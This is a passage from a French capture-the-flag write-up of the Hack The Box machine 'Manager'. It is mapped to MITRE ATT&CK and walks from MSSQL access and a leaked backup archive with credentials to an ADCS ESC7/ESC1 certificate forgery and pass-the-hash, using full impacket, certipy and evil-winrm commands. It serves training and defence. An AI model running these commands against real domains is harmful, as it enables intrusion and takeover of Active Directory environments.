<p>Nous sommes à présent authentifiés sur le domaine ! Il s'agit d'une grande avancée puisque cela nous permet de récupérer un (très) grand nombre d'informations à propos de celui et des différents objets qu'il gère. Nous allons à présent tenter de nous authentifier avec ce compte sur tous les services exposés par le système cible :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) </strong>: <a href="https://attack.mitre.org/techniques/T1021/" target="_blank" rel="noopener nofollow" title="">T1021 - Remote Services</a></p>



<pre class="wp-block-code"><code>$ impacket-mssqlclient -windows-auth operator:operator@10.10.11.236
SQL (MANAGER\Operator  guest@master)&gt;</code></pre>



<p>Succès ! Nous avons donc découvert un <strong>compte utilisateur du domaine qui a la permission de s'authentifier sur le service de base de données</strong> <strong>MSSQL</strong>. À partir de cet accès, tentons de découvrir les possibilités qui s'offrent à nous. Exploitation d'une version obsolète, vol de données sensibles, exécution de commande ?</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1505/001/" target="_blank" rel="noopener nofollow" title="">T1505.001 - Server Software Component: SQL Stored Procedures</a></p>



<p>Après plusieurs tentatives d'énumération, je découvre notamment que beaucoup d'instruction permettant classiquement l'exécution de commande ne sont pas autorisées pour mon utilisateur. Une exception apparait cependant parmi les nombreux cas d'usage de ma todo-list: "<strong>EXEC xp_dirtree</strong>" :</p>



<pre class="wp-block-code"><code>SQL (MANAGER\Operator  guest@master)&gt; select @@version;

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 &lt;X64&gt; (Build 17763: ) (Hypervisor)

SQL (MANAGER\Operatorest@master)&gt; EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1</code></pre>



<p>Cette commande permet de lister le contenu d'un répertoire du système : </p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener nofollow" title="">T1083 - File and Directory Discovery</a></p>



<pre class="wp-block-code"><code>about.html
contact.html
css
images
index.html
js
service.html
web.config
website-backup-27-07-23-old.zip</code></pre>



<p>Dans le résultat du listing du contenu du répertoire web, on découvre notamment une archive ZIP oubliée (un cas bien plus classique que l'on pourrait le croire). Cela signifie que cette archive est téléchargeable depuis le service web exposé, il suffisait de trouver son nom, ce qui est chose faite à présent.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener nofollow" title="">T1552.001 - Unsecured Credentials: Credentials In Files</a></p>



<pre class="wp-block-code"><code>$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
$ unzip website-backup-27-07-23-old.zip
$ cat .old-conf.xml 
&#91;...]
         &lt;user&gt;raven@manager.htb&lt;/user&gt;
         &lt;password&gt;R4v3nBe5tD3veloP3r!123&lt;/password&gt;</code></pre>



<p>À l'intérieur de l'archive se trouve notamment un fichier XML contenant des identifiants utilisateur. Encore une fois, il va être important ici de tenter ces identifiants sur tous les services exposés. Il peut s'agir d'un compte ayant des droits d'accès à un nouveau partage SMB, ou au service MSSQL avec l'accès à des commandes ou base de données supplémentaires, etc.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1021/006/" target="_blank" rel="noopener nofollow" title="">T1021.006 - Remote Services: Windows Remote Management</a></p>



<pre class="wp-block-code"><code>$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\Raven\Desktop&gt; type user.txt
14895a&#91;REDACTED]5846a502</code></pre>



<p>Cet utilisateur nous permet l'accès au service WinRM du système !</p>



<blockquote class="wp-block-quote">
<p>L'accès au service WinRM est le résultat de l'assignation de permissions spécifiques à cet utilisateur ou de l'appartenance à un groupe de permissions (généralement <em>Remote Management Users</em>). Lors d'une intrusion, l'attaquant cherchera à cibler des utilisateurs avec ce genre de permissions spéciales, car ils seront certains d'obtenir par la suite un accès interactif à des systèmes.</p>
</blockquote>



<h3 class="wp-block-heading">C. ADCS : Manipulation des certificats</h3>



<p>Parmi la très longue liste des éléments à étudier pour un attaquant lorsqu'il parvient à obtenir un accès authentifié à un domaine Active Directory figure les <strong>templates de certificats</strong> et la <strong>configuration du service ADCS</strong>. De nombreuses attaques et outils d'exploitation ont été rendus publiques en 2021 par <a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2" target="_blank" rel="noopener nofollow" title="SpectorOps">SpectorOps</a> à ce sujet.</p>



<blockquote class="wp-block-quote">
<p><em>Active Directory Certificate Services</em> est un service Windows Server facilitant la création, la distribution et la gestion de certificats numériques. Les certificats générés par ADCS sont utilisés pour sécuriser les communications en chiffrant les données, authentifier les utilisateurs, garantir l'intégrité des données, permettre des connexions sécurisées au sein du domaine, etc. <br><br>Il s'agit tout simplement de la PKI (<em>Public Key Infrastructure</em>) de votre domaine, en gardant à l'esprit qu'un <strong>certificat permet également l'authentification</strong>, il s'agit d'une cible de choix pour un attaquant.</p>
</blockquote>



<p>Nous pouvons commencer par nous assurer qu'un service ADCS existe bien sur le domaine cible, cela à distance depuis Linux à l'aide de l'outil "<a href="https://github.com/Pennyw0rth/NetExec" target="_blank" rel="noopener" title="netexec"><strong>netexec</strong></a>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="150" src="media/981fe5c5.hackthebox-writeup-manager-netexec-adcs-800x150.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-800x150.png" alt="" class="wp-image-75140" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-800x150.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-550x103.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-150x28.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-768x144.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs-50x9.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-netexec-adcs.png 814w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ici, "<strong>netexec</strong>" nous confirme bien que le serveur "<strong>DC01.manager.htb</strong>" est également le service ADCS du domaine. À présent, nous pouvons tenter d'énumérer les <em>templates</em> de certificats existants au sein de ce service. L'ADCS permet l'<strong>émission de certificats avec des paramètres pré-définis</strong> grâce à des objets AD appelés <strong>template, ou modèles de certificat</strong>. Ces templates sont des ensembles de politiques d'inscription et de paramètres de certificat qui contiennent des informations telles que l'usage pouvant être fait du certificat, son temps de validité, qui peut demander la génération d'un certificat, pour quel type d'objet, etc. </p>



<blockquote class="wp-block-quote">
<p>Vous pouvez voir la gestion, création et détention d'un certificat comme le cas des badges d'accès dans un bâtiment sécurisé. Les agents d'accueil peuvent créer des badges pour des visiteurs ? Mais peut-être pas pour tous les étages ? Existe-t-il une borne de <em>self-enrollement</em> pour tous les visiteurs ? À quels étages peuvent-ils eux-mêmes se donner accès ? Est-ce qu'un agent d'accueil peut se créer un badge au nom du PDG ? Qui génère le badge des agents d'accueil ? Toutes ces questions peuvent être mises en parallèle avec les attaques sur ADCS.</p>
</blockquote>



<p>L'outil "<a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener nofollow" title="Certipy"><strong>Certipy</strong></a>" peut notamment être utilisé pour découvrir ces configurations de <em>templates</em>, exemple : </p>



<pre class="wp-block-code"><code>pip3 install certipy-ad
certipy-ad find -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout</code></pre>



<p>Voici un extrait du résultat de la commande "<strong>certipy-ad</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="794" height="580" src="media/b190bb39.hackthebox-writeup-manager-certipy-listconf.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf.png" alt="" class="wp-image-75141" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf.png 794w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf-550x402.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf-768x561.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-listconf-50x37.png 50w" sizes="(max-width: 794px) 100vw, 794px" /></figure></div>


<p>L'outil nous a permis de lister la configuration de 33 <em>templates</em>, dont 11 activés. Nous voyons ensuite un bout de la configuration de l'autorité de certification. Entre autres, nous pouvons nous intéresser à la configuration du <em>template</em> 0, histoire de voir ce que cette configuration peut nous apprendre :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="763" height="611" src="media/c4409b17.hackthebox-writeup-manager-certipy-template0.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-template0.png" alt="" class="wp-image-75142" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-template0.png 763w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-template0-550x440.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-template0-150x120.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-template0-50x40.png 50w" sizes="(max-width: 763px) 100vw, 763px" /></figure></div>


<p>Ce <em>template</em> se nomme "<strong>KerberosAuthentication</strong>", nous voyons notamment que les certificats générés à l'aide de ce <em>template</em> peuvent être utilisés pour l'authentification client ("<strong>Client Authentication : True</strong>"), mais aussi pour l'authentification côté serveur ("<strong>Extended Key usage: Server Authentication</strong>") par exemple. La section "<strong>Permissions</strong>" nous intéresse particulièrement puisqu'elle permet de savoir qui peut utiliser ce <em>template</em> pour enroller (générer) un certificat. <strong>Ici, que des membres des groupes </strong>"<strong>administrateurs</strong>". </p>



<p>Si l'on revient au résultat initial, on peut constater que "<strong>certipy-ad</strong>" nous a indiqué avoir trouvé une configuration dangereuse lors de l'affichage de la configuration de l'autorité de certification : </p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="750" height="486" src="media/a43792d9.hackthebox-writeup-manager-certipy-CA.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-CA.png" alt="" class="wp-image-75143" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-CA.png 750w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-CA-550x356.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-CA-150x97.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-CA-50x32.png 50w" sizes="(max-width: 750px) 100vw, 750px" /></figure></div>


<p>Au travers l'analyse automatique de la configuration, il semble que l'attaque ESC7 soit exploitable sur ce service ADCS.</p>



<blockquote class="wp-block-quote">
<p>Le terme "ESC" fait ici référence à "Escalation". Il s'agit d'une nomenclature choisie par les SpecterOps pour identifier les différentes faiblesses de configuration, et donc attaques, liées à l'AD-CS. Il en existe aujourd'hui 14 (de ESC1 à ESC14 donc). Pour aller en détail sur chacune des exploitations, je vous oriente vers <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#misconfigured-certificate-templates-esc1" target="_blank" rel="noopener nofollow" title="Hacktrickz">Hacktrickz</a></p>
</blockquote>



<p>ESC7 est donc le cas d'une <strong>configuration trop permissive donnée à un utilisateur ou un groupe d'utilisateurs sur l'autorité de certification</strong> elle-même. </p>



<p>Comme tout objet AD, l'autorité de certification possède des ACL (<em>Access-Controle List</em>) afin de gérer les actions réalisables par d'autres objets (utilisateurs, groupes, ordinateurs, etc.). Les deux droits principaux ici sont le droit "<strong>ManageCA</strong>" (« Administrateur CA » ) et le droit "<strong>ManageCertificates</strong>" ( « Gestionnaire de certificats ».). Si un attaquant prend le contrôle d'un utilisateur qui possède ces droits (ici : "<strong>raven</strong>"), il pourra alors <strong>approuver les demandes de certificat en attente</strong>.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1649/" target="_blank" rel="noopener nofollow" title="">T1649 - Steal or Forge Authentication Certificates</a></p>



<p>L'exploitation de cette vulnérabilité repose sur le fait que les utilisateurs disposant de ces droits peuvent émettre des demandes de certificat, qui, même s'ils échoueront dans un premier temps, pourrons ensuite être approuvés grâce au droit "<strong>ManageCertificates</strong>". </p>



<p>Le modèle de certificat "<strong>SubCA</strong>" est par défaut vulnérable à ESC1, mais seuls les administrateurs peuvent utiliser ce <em>template</em> dans le modèle. Ainsi, un utilisateur peut toujours demander à s'inscrire à la "<strong>SubCA</strong>", <strong>ce qui sera refusé</strong>. Nous obtiendrons alors notre demande "en attente", qui nous approuverons ensuite avec l'utilisateur compromis ("<strong>raven</strong>"), qui possède les droits "<strong>ManageCertificates</strong>".</p>



<blockquote class="wp-block-quote">
<p>L'attaque ESC1 est l'un des cas de figure les plus simples. Il concerne les <em>templates</em> qui autorisent la prise en compte de l'attribut SAN (<em>Subject Alternative Name</em>). Celui-ci permet tout simplement à l'utilisateur à définir, en plus de son nom, d'autres noms pour lesquels le certificat sera valide (à tout hasard, administrateur). L'utilisateur demande alors un certificat qui sera valide pour l'utilisateur demandeur (Mickael) mais il inclut dans sa demande un champ supplémentaire disant : <em>le certificat que tu vas me signer sera aussi valide pour "administrateur"</em>.<br><br>La simplicité de l'attaque est parfois difficile à cerner ("<em>c'est aussi bateau que ça ?"</em>) : la réponse est oui.</p>
</blockquote>



<p>Voici les pré-requis de l'attaque :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="689" height="150" src="media/86178e03.hackthebox-writeup-manager-ESC7-prerequisite.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-prerequisite.png" alt="" class="wp-image-75144" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-prerequisite.png 689w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-prerequisite-550x120.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-prerequisite-150x33.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-prerequisite-50x11.png 50w" sizes="(max-width: 689px) 100vw, 689px" /></figure></div>


<p>Nous disposons déjà de la permission "<strong>ManageCA</strong>" grâce à l'utilisateur "<strong>raven</strong>". Nous pouvons alors nous ajouter les droits "<strong>Manage Certificates</strong>" (nous sommes maitres de l'autorité de certification, logique que nous puissions nous ajouter les droits de gérer les certificats) :</p>



<pre class="wp-block-code"><code>$ certipy-ad ca -ca 'manager-DC01-CA' <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">-add-officer raven</mark> -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

&#91;*] Successfully added officer 'Raven' on 'manager-DC01-CA'</code></pre>



<p>Le pré-requis n°2 est également atteint, retournons dans notre énumération des <em>templates</em> pour voir si le pré-requis 3 l'est aussi (template "<strong>SubCA</strong>" activé) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="613" height="462" src="media/b352c346.hackthebox-writeup-manager-certipy-subCA.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-subCA.png" alt="" class="wp-image-75145" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-subCA.png 613w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-subCA-550x415.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-subCA-150x113.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-subCA-50x38.png 50w" sizes="(max-width: 613px) 100vw, 613px" /></figure></div>


<p>Tous nos prérequis sont là. Nous pouvons commencer par demander un certificat basé sur le <strong>template </strong>"<strong>SubCA</strong>". Cette demande sera refusée, nous ne sommes pas membres des groupes autorisés à s'enroller (regardez le contenu de l'attribut "<strong>Enrollment Permissions</strong>"). Mais, nous obtiendrons tout de même une clé privée (générée par nous-même, pour notre demande) et notre ID de demande  (<strong>notez l'option </strong>"<strong>-upn</strong>"<strong> dans laquelle nous indiquons le SAN à ajouter au certificat</strong>) :</p>



<pre class="wp-block-code"><code>certipy-ad req -ns 10.10.11.236 -ca 'manager-DC01-CA'&nbsp; <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">-template SubCA</mark> -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">-upn administrator@manager.htb</mark></code></pre>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="228" src="media/876b1a42.hackthebox-writeup-manager-ESC7-subCAenroll-800x228.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-800x228.png" alt="" class="wp-image-75146" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-800x228.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-550x157.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-150x43.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-768x219.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll-50x14.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-ESC7-subCAenroll.png 936w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ici, nous venons de demander à l'autorité de certification la création d'un certificat pour l'utilisateur "<strong>administrator@manager.htb</strong>" (grâce à l'attribut SAN) en utilisant le <em>template</em> "<strong>SubCA</strong>". Vous noterez que bien que ce <em>template</em> soit activé, notre utilisateur ("<strong>raven</strong>") n'est pas membre des groupes autorisés à utiliser ce <em>template</em>. La demande est donc refusée. Avec nos permissions "<strong>ManageCA</strong>" et "<strong>ManageCertificates</strong>", nous pouvons ensuite approuver la demande de certificat ayant échoué avec la commande suivante :</p>



<pre class="wp-block-code"><code>$ certipy-ad ca -ca 'manager-DC01-CA' <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">-issue-request 14</mark>  -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236                                                                                                          
Certipy v4.7.0 - by Oliver Lyak (ly4k)

&#91;*] Successfully issued certificate</code></pre>



<p>Et enfin, nous pouvons récupérer le certificat émis avec la commande "<strong>req</strong>" et le paramètre "<strong>-retrieve</strong>" :</p>



<pre class="wp-block-code"><code>certipy-ad req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">-retrieve 14</mark></code></pre>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="139" src="media/05a84353.hebox-writeup-manager-certipy-retrieve-administrator-800x139.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-800x139.png" alt="" class="wp-image-75285" style="width:915px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-800x139.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-550x95.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-150x26.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-768x133.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator-50x9.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-retrieve-administrator.png 1021w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous pouvons à présent récupérer le hash NTLM de l'administrateur du domaine en utilisant ce certificat. Il faut pour cela demander un TGT via PKINIT (extension Kerberos prenant en compte les certificats), une fonctionnalité de "backup" y a été ajoutée pour permettre l'authentification sur les services/OS ne prenant pas en compte Kerberos.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="123" src="media/09a6f359.ackthebox-writeup-manager-certipy-administrator-hash-800x123.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-800x123.png" alt="" class="wp-image-75286" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-800x123.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-550x84.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-150x23.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-768x118.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash-50x8.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-certipy-administrator-hash.png 913w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Technique d'attaque (MITRE ATT&amp;CK</strong>) : <a href="https://attack.mitre.org/techniques/T1021/006/" target="_blank" rel="noopener nofollow" title="">T1021.006 - Remote Services: Windows Remote Management</a></p>



<p>Avec le hash du compte "<strong>administrator</strong>", nous pouvons effectuer une authentification via la technique <a href="https://attack.mitre.org/techniques/T1550/002/" target="_blank" rel="noopener nofollow" title="pass-The-hash">pass-the-hash</a> :</p>



<pre class="wp-block-code"><code>$ evil-winrm -i $IP -u administrator -H ae5064c2f62317332c88629e025924ef
*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; type root.txt
42fabc6&#91;REDACTED]0ff4d</code></pre>



<p>Nous sommes désormais administrateur du contrôleur de domaine, nous avons les clés du royaume !</p>



<h2 class="wp-block-heading">III. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du <a href="https://attack.mitre.org/" target="_blank" rel="noopener nofollow" title="">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>TTP</strong> (MITRE ATT&amp;CK)</mark></td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="">T1046 - Network Service Discover</a></td><td>Réalisation d'un scan réseau via "<strong>nmap</strong>" et découverte de multiple services</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1087/002/" target="_blank" rel="noopener nofollow" title="">T1087.002 - Account Discovery: Domain Account</a></td><td>Enumération d'utilisateur via "<a href="https://github.com/ropnop/kerbrute" target="_blank" rel="noopener" title="kerbrute"><strong>kerbrute</strong></a>" et la wordlist "<a href="https://github.com/insidetrust/statistically-likely-usernames"><strong>statistically-likely-usernames</strong></a>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1110/001/" target="_blank" rel="noopener nofollow" title="">T1110.001 - Brute Force: Password Guessing</a></td><td>Attaque "<em>user as pass</em>" sur les comptes du domaine découverts via "<a href="https://github.com/Pennyw0rth/NetExec" target="_blank" rel="noopener" title="netexec"><strong>netexec</strong></a>", découverte d'identifiants valides</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/" target="_blank" rel="noopener nofollow" title="">T1021 - Remote Services</a></td><td>Authentification sur le service MSSQL avec le compte "<strong>operator</strong>" compromis</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1505/001/" target="_blank" rel="noopener nofollow" title="">T1505.001 - Server Software Component: SQL Stored Procedures</a></td><td>Exécution de commande partielle MSSQL</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener" title="">T1083 - File </a><a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener nofollow" title="">and </a><a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener" title="">Directory Discovery</a></td><td>Découverte des fichiers locaux du serveur Windows via MSSQL et exfiltration d'une archive ZIP depuis la racine du service web</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener nofollow" title="">T1552.001 - Unsecured Credentials: Credentials In Files</a></td><td>Découverte d'identifiants de l'utilisateur du domaine "<strong>raven</strong>" dans l'archive ZIP exfiltrée</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/006/" target="_blank" rel="noopener nofollow" title="">T1021.006 - Remote Services: Windows Remote Management</a></td><td>Authentification via winRM et LDAP, puis découverte du service AD-CS via "<a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener" title="Certipy"><strong>Certipy</strong></a>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1649/" target="_blank" rel="noopener nofollow" title="">T1649 - Steal or Forge Authentication Certificates</a></td><td>Utilisation de <strong>Ccertipy</strong>" pour forger un certificat valide pour le compte administrateur du domaine via ESC7, puis ESC1</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/006/" target="_blank" rel="noopener nofollow" title="">T1021.006 - Remote Services: Windows Remote Management</a></td><td>Authentification avec le compte administrateur du domaine</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>Les premières étapes de compromission de ce serveur <strong>sont (hélas) <strong>très</strong> réalistes</strong>. Il est étonnant de voir que la plupart des vulnérabilités sur un domaine proviennent de négligences humaines. Ce genre d'attaque et d'énumération sont à ne jamais oublier sur un domaine. Il faut également savoir <strong>adapter ses dictionnaires (et plus largement ses outils) en fonction du contexte</strong> métier ou de la langue de la cible.</p>



<p>Nous avons vu lors de l'exploitation du service MSSQL que connaitre ou savoir se documenter rapidement sur les <strong>commandes et fonctionnalités natives qui permettent une exploitation est un atout.</strong> Ici la commande utilisée ("<strong>xp_dirtree</strong>") est totalement native à MSSQL, le fait le compte compromis puisse l'utiliser est une faiblesse probablement due à des droits trop permissifs, mais c'est ce qui nous a permis de compromettre le serveur. Sur chaque service de base de données, voir chaque version, il existe des commandes comme celles-ci qui permettent d'écrire ou lire des données sur le serveur, voire exécuter des commandes. Difficile de tout retenir, il faut plutôt opter pour une <strong>documentation <strong>personnelle</strong> ou une banque de liens externes pour être sûr de rester à jour</strong> et d'avoir tout sous la main lorsque l'on en aura besoin.</p>



<p>L'attaque sur ADCS est bien entendu ce qui vaut à cette box la notation "Medium" à mon sens. Il faut ici avoir de <strong>bonnes notions de l'aspect métier et fonctionnels d'une PKI </strong>pour ensuite comprendre l'attaque à réaliser. Cela nous permet de rappeler qu'avant d'apprendre à attaquer, il faut <strong>connaitre les bases de l'administration système, de la cryptographie et du développement</strong>. Également, il serait difficile de trouver ce genre de vulnérabilité sur un service aussi spécifique qu'ADCS seul sans y passer des dizaines d'heures. Les attaques sur ADCS ont été rendues publiques en 2021 et il fallait bien entendu <strong>assurer sa veille technologique</strong> afin d'inclure ses faiblesses dans notre méthodologie d'audit d'environnement AD. Pour la pratique, je vous conseille bien sûr cette box Hack the box, mais aussi le lab Try Hack Me suivant : <a href="https://tryhackme.com/room/adcertificatetemplates" target="_blank" rel="noopener nofollow" title="AD Certificate Templates">AD Certificate Templates</a></p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



